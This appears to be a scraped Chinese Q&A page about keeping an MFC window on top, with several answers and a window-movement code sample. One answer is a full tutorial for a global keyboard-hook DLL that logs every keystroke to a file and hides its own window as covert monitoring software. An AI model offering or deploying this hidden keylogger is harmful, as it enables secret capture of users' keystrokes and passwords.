MFC 如何使窗口 置顶

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MFC 如何使窗口 置顶相关的知识,希望对你有一定的参考价值。

问题如标题,我就是想在一个热键中的响应,设置热键响应,一按就使指定的窗口置顶,但是我设置了,没效,不知怎么回事。
void CTestzrDlg::OnHotKey(WPARAM wParam,LPARAM lParam)

if (wParam==1001)

::SetWindowPos(this->m_hWnd,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);

窗体不再顶层是接收不到hotkey消息,必须安装全局键盘钩子。


本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyHook和动态连接库LaunchDLL。
1、首先编制MFC扩展动态连接库LaunchDLL.dll:
(1)选择MFC AppWizard(DLL)创建项目LaunchDLL;在接下来的选项中选择Regular statically linked to MFC DLL(标准静态链接MFC DLL)。
(2)在LaunchDLL.h中添加宏定义和待导出函数的声明:
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp

public:
CLaunchDLLApp();

//AFX_VIRTUAL(CLaunchDLLApp)
//AFX_VIRTUAL

//AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//AFX_MSG
DECLARE_MESSAGE_MAP()
;
(3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog:
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
(4)完成以上提到的这几个函数的实现部分:
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()

Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);

在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数,其原型是:
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘操作所以设定为 WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起 LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的 ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。
……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)

LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)

if(lParam & 0x80000000)

char c[1];
c[0]=wParam;
SaveLog(c);


return Result;


……
void SaveLog(char* c)

CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))

file.Open(name,CFile::modeCreate|CFile::modeReadWrite);

file.SeekToEnd();
file.Write(c,1);
file.Close();

当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。
编译完成便可得到运行时所需的键盘钩子的动态连接库LaunchDLL.dll和进行静态链接时用到的LaunchDLL.lib。
2、下面开始编写调用此动态连接库的主程序,并实现最后的集成:
(1)用MFC的AppWizard(EXE)创建项目KeyHook;
(2)选择单文档,其余几步可均为确省;
(3)把LaunchDLL.h和LaunchDLL.lib复制到KeyHook工程目录中,LaunchDLL.dll复制到Debug目录下。
(4)链接DLL库,即在"Project","Settings…"的"Link"属性页内,在"Object/librarymodules:"中填 入"LaunchDLL.lib"。再通过"Project","Add To Project","Files…"将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:
#include "LaunchDLL.h"
这样我们就可以象使用本工程内的 函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。
(5)在视类中添加虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:
……
InstallLaunchEv();
……
(6)到此为止其实已经完成了所有的功能,但作为一个后台监控软件,运行时并不希望有界面,可以在应用程序类CkeyHookApp的 InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW);改为 m_pMainWnd->ShowWindow (SW_HIDE);即可。
四、运行与检测
编译运行程序,运行起来之后并无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序"KeyHook",随便在什么程序中通过键盘输入字符,然后打开记录文件,我们会发现:通过键盘钩子,我们刚才输入的字符都被记录到记录文件中了。
参考技术A 你要置顶的窗口肯定不是当前的活动窗口,键盘消息不会到不活动的窗口,非要这样,可以在你的程序中安装全局的键盘钩子,以捕获操作系统的所有键盘消息本回答被提问者采纳 参考技术B 你说的置顶是什么意思?是想把焦点转移到你这个程序上来是吗?setwindowpos是设置窗口位置的不是设置焦点的。设置焦点需要从user32里面导出一个函数叫SwitchToThisWindow
用法如下:
typedef void (WINAPI *LPSWITCHTOTHISWINDOW)(HWND, BOOL);
LPSWITCHTOTHISWINDOW lpfnSwitchToThisWindow;
lpfnSwitchToThisWindow= (LPSWITCHTOTHISWINDOW)GetProcAddress( GetModuleHandle(TEXT("user32")), TEXT("SwitchToThisWindow") );
lpfnSwitchToThisWindow(hwnd,FALSE);

MFC 窗口移动置顶浮起效果

技术分享

 

void CMFCMoveWindowDlg::OnBnClickedButton1()
{
    //left 
    CRect rec;
    GetWindowRect(&rec);
    rec.left -=  m_iMove;
    rec.right -= m_iMove;
    MoveWindow(&rec);    
}

void CMFCMoveWindowDlg::OnBnClickedButton3()
{
    //right 
    CRect rec;
    GetWindowRect(&rec);
    rec.left +=  m_iMove;
    rec.right += m_iMove;
    MoveWindow(&rec);    
}

void CMFCMoveWindowDlg::OnBnClickedButton2()
{
    //up 
    CRect rec;
    GetWindowRect(&rec);
    rec.top -= m_iMove;
    rec.bottom -= m_iMove;
    MoveWindow(&rec);    
}

void CMFCMoveWindowDlg::OnBnClickedButton4()
{
    //down
    CRect rec;
    GetWindowRect(&rec);
    rec.top += m_iMove;
    rec.bottom += m_iMove;
    MoveWindow(&rec);    
}

void CMFCMoveWindowDlg::OnEnChangeEdit1()
{
    // TODO:  如果该控件是 RICHEDIT 控件,它将不
    // 发送此通知,除非重写 CDialog::OnInitDialog()
    // 函数并调用 CRichEditCtrl().SetEventMask(),
    // 同时将 ENM_CHANGE 标志“或”运算到掩码中。

    m_iMove = GetDlgItemInt(IDC_EDIT1);
}

void CMFCMoveWindowDlg::OnBnClickedButton5()
{
    if (!m_bTopWindow)
    {
        ::SetWindowPos(
            m_hWnd, 
            HWND_TOPMOST, 
            0, 0, 0, 0, 
            SWP_NOMOVE | SWP_NOSIZE);    
        SetDlgItemText(IDC_BUTTON5, "Cancel");
    }
    else
    {
        ::SetWindowPos(
            m_hWnd, 
            HWND_NOTOPMOST, 
            0, 0, 0, 0, 
            SWP_NOMOVE | SWP_NOSIZE);    
        SetDlgItemText(IDC_BUTTON5, "SetTopWindow");
    }
    m_bTopWindow = !m_bTopWindow;
}

 

void CMFCMoveWindowDlg::OnBnClickedButton6()
{
    if (!m_bCreate)
    {
        m_bCreate = !m_bCreate;
        m_dlgShow.Create(IDD_DIALOG1, NULL);        
    }
    m_dlgShow.ShowWindow(SW_SHOW);
}


//subDlg.cpp
BOOL CDiaShow::OnInitDialog()
{
    CDialog::OnInitDialog();

    // 获得桌面大小
    CRect rectWorkArea;
    SystemParametersInfo(SPI_GETWORKAREA, 0, &rectWorkArea, SPIF_SENDCHANGE);   

    // 获得对话框大小
    CRect rectDlg;
    GetWindowRect(&rectDlg);

    // 将窗口设置到右下角
    ::SetWindowPos(m_hWnd, 
        HWND_BOTTOM,
        rectWorkArea.right - rectDlg.Width(),
        rectWorkArea.bottom - rectDlg.Height(),
        rectDlg.Width(),
        rectDlg.Height(),
        SWP_NOZORDER);

    //浮起效果
    ::AnimateWindow(m_hWnd, 1000, AW_VER_NEGATIVE|AW_SLIDE);

    return TRUE;  // return TRUE unless you set the focus to a control
    // 异常: OCX 属性页应返回 FALSE
}

 

以上是关于MFC 如何使窗口 置顶的主要内容,如果未能解决你的问题,请参考以下文章

易语言如何使某软件窗口置顶?

mfc 如何使窗口居中

mfc窗口置于指定窗口上(前)方怎么实现?

怎么使通过进程打开的win32程序窗口始终置顶

mfc 窗口大小变化时,如何让窗口内部控件也一起随比例改变位置?

MFC中可以通过鼠标拖拉更改大小的单文档,如何使窗口上控件在窗口改变大小的过程中会随之相对应的移动